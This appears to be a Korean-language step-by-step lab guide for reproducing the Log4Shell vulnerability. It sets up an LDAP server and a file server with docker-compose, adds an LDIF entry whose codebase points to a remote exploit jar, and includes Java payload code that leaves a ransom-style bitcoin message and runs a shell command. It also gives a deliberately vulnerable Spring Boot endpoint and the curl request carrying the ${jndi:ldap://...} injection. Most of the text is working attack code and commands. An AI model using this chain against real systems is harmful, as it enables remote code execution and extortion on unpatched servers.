테스트
-
docker-compose.yml
version: '2' services: dockerdj: image: openidentityplatform/opendj:latest container_name: ldap environment: ROOT_USER_DN: "cn=han" ROOT_PASSWORD: "han" BASE_DN: "dc=bumbing,dc=xyz" ports: - "389:1389" - "636:1636" - "4444:4444" volumes: - "./opendj/logs:/opt/opendj/data/logs" nginx: image: nginx:latest container_name: nginx ports: - "7080:80" volumes: - "./file:/usr/share/nginx/html:ro" - "./conf/nginx.conf:/etc/nginx/nginx.conf"
-
docker-compose 실행
docker-compose up -d
-
add.ldif
version: 1 dn: dc=bumbing,dc=xyz objectClass: domain objectClass: top dc: bumbing dn: cn=log4j,dc=bumbing,dc=xyz objectClass: javaContainer objectClass: javaNamingReference objectClass: javaObject objectClass: top cn: class javaClassName: xyz.bumbing.log4j.Exploit javaCodebase: http://{fileServer}:7080/exploit-1.jar javaFactory: xyz.bumbing.log4j.Exploit
-
해킹 파일 정보가 들어간 Entry 추가 커멘드
ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
-
ldap 테스트(파라메터 순서 중요)
curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
- 자바 8u191 이전 버전에서 취약점 발견, 자바 버전 8버전으로 빌드
-
악성 코드(다른 악성파일을 다운받는 커멘드를 추가할 수 있다.)
public class Exploit implements javax.naming.spi.ObjectFactory{ @Override public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception { try { new File("/Users//test").createNewFile(); String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet"; FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test")); StringBuilder sb = new StringBuilder(); sb.append(o.toString()).append("\n"); sb.append(name).append("\n"); sb.append(msg); fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8)); fileOutputSteam.close(); } catch (IOException e) { e.printStackTrace(); } Runtime.getRuntime().exec("open /Users//test"); return null; } }
-
빌드 커멘드
./gradlew clean build
-
로컬 서버 아닐시 exploit-1.jar파일 파일 서버의 docker/file 폴더에 업로드
-
http://{fileServer}:7080/exploit-1.jar 다운로드 확인
-
그래들 구조
plugins { id 'org.springframework.boot' version '2.6.1' id 'io.spring.dependency-management' version '1.0.11.RELEASE' id 'java' } group = 'xyz.bumbing' version = '0.0.1-SNAPSHOT' sourceCompatibility = '8' configurations { compileOnly { extendsFrom annotationProcessor } } repositories { mavenCentral() } dependencies { implementation 'org.springframework.boot:spring-boot-starter-web' compileOnly 'org.projectlombok:lombok' annotationProcessor 'org.projectlombok:lombok' testImplementation 'org.springframework.boot:spring-boot-starter-test' implementation "org.springframework.boot:spring-boot-starter-log4j2" modules { module("org.springframework.boot:spring-boot-starter-logging") { replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback") } } } test { useJUnitPlatform() }
- dependency에서 log4j 버전 14.1 확인
-
서버코드
@SpringBootApplication @RestController @Slf4j public class Log4jtestApplication { public static void main(String[] args) { SpringApplication.run(Log4jtestApplication.class, args); } @GetMapping("/log4j") public void test(String param, HttpServletRequest request){ log.info(request.getHeader("User-Agent")); } }
-
실행 커멘드(8u191 이전걸로 빌드 및 실행 해야함)
java -jar build/libs/log4jtest-0.0.1-SNAPSHOT.jar
curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'